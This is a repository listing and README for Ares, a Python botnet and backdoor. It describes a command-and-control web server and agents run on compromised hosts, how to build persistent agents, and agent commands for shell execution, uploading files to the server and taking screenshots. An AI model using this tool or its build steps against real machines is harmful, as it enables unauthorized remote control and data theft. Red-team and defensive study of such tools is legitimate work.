https://github.com/sweetsoftware/Ares

Python botnet and backdoor
https://github.com/sweetsoftware/Ares

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Python botnet and backdoor

• Host: GitHub
• URL: https://github.com/sweetsoftware/Ares
• Owner: sweetsoftware
• Created: 2015-10-18T12:26:27.000Z (about 9 years ago)
• Default Branch: master
• Last Pushed: 2023-03-02T12:43:09.000Z (over 1 year ago)
• Last Synced: 2024-10-29T17:56:04.597Z (5 days ago)
• Language: Python
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• Size: 18.9 MB
• Stars: 1,540
• Watchers: 127
• Forks: 474
• Open Issues: 43
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  • Readme: README.md

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README

        
# Ares

Ares is a Python Remote Access Tool.

__Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.__

Ares is made of two main programs:

- A Command aNd Control server, which is a Web interface to administer the agents

- An agent program, which is run on the compromised host, and ensures communication with the CNC

The Web interface can be run on any server running Python. The agent can be compiled to native executables using **pyinstaller**.

## Setup

Install the Python requirements:

```

pip install -r requirements.txt

```

Initialize the database:

```

cd server

./ares.py initdb

```

In order to compile Windows agents on Linux, setup wine (optional):

```

./wine_setup.sh

```

## Server

Run with the builtin (debug) server:

```

./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

```

Or run using gunicorn:

```

gunicorn ares:app -b 0.0.0.0:8080 --threads 20

```

The server should now be accessible on http://localhost:8080

## Agent

Run the Python agent (update config.py to suit your needs):

```

cd agent

./agent.py

```

Build a new agent to a standalone binary:

```

./builder.py -p Linux --server http://localhost:8080 -o agent

./agent

``` 

To see a list of supported options, run ./builder.py -h

```

./agent/builder.py -h

usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT

                  [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]

                  [--max_failed_connections MAX_FAILED_CONNECTIONS]

                  [--persistent]

Builds an Ares agent.

optional arguments:

  -h, --help            show this help message and exit

  -p PLATFORM, --platform PLATFORM

                        Target platform (Windows, Linux).

  --server SERVER       Address of the CnC server (e.g http://localhost:8080).

  -o OUTPUT, --output OUTPUT

                        Output file name.

  --hello-interval HELLO_INTERVAL

                        Delay (in seconds) between each request to the CnC.

  --idle_time IDLE_TIME

                        Inactivity time (in seconds) after which to go idle.

                        In idle mode, the agent pulls commands less often

                        (every  seconds).

  --max_failed_connections MAX_FAILED_CONNECTIONS

                        The agent will self destruct if no contact with the

                        CnC can be made  times in a

                        row.

  --persistent          Automatically install the agent on first run.

```

### Supported agent commands

```

Executes the command in a shell and return its output.

upload 

Uploads  to server.

download  

Downloads a file through HTTP(S).

zip  

Creates a zip archive of the folder.

screenshot

Takes a screenshot.

python 

Runs a Python command or local file.

persist

Installs the agent.

clean

Uninstalls the agent.

exit

Kills the agent.

help

This help.

```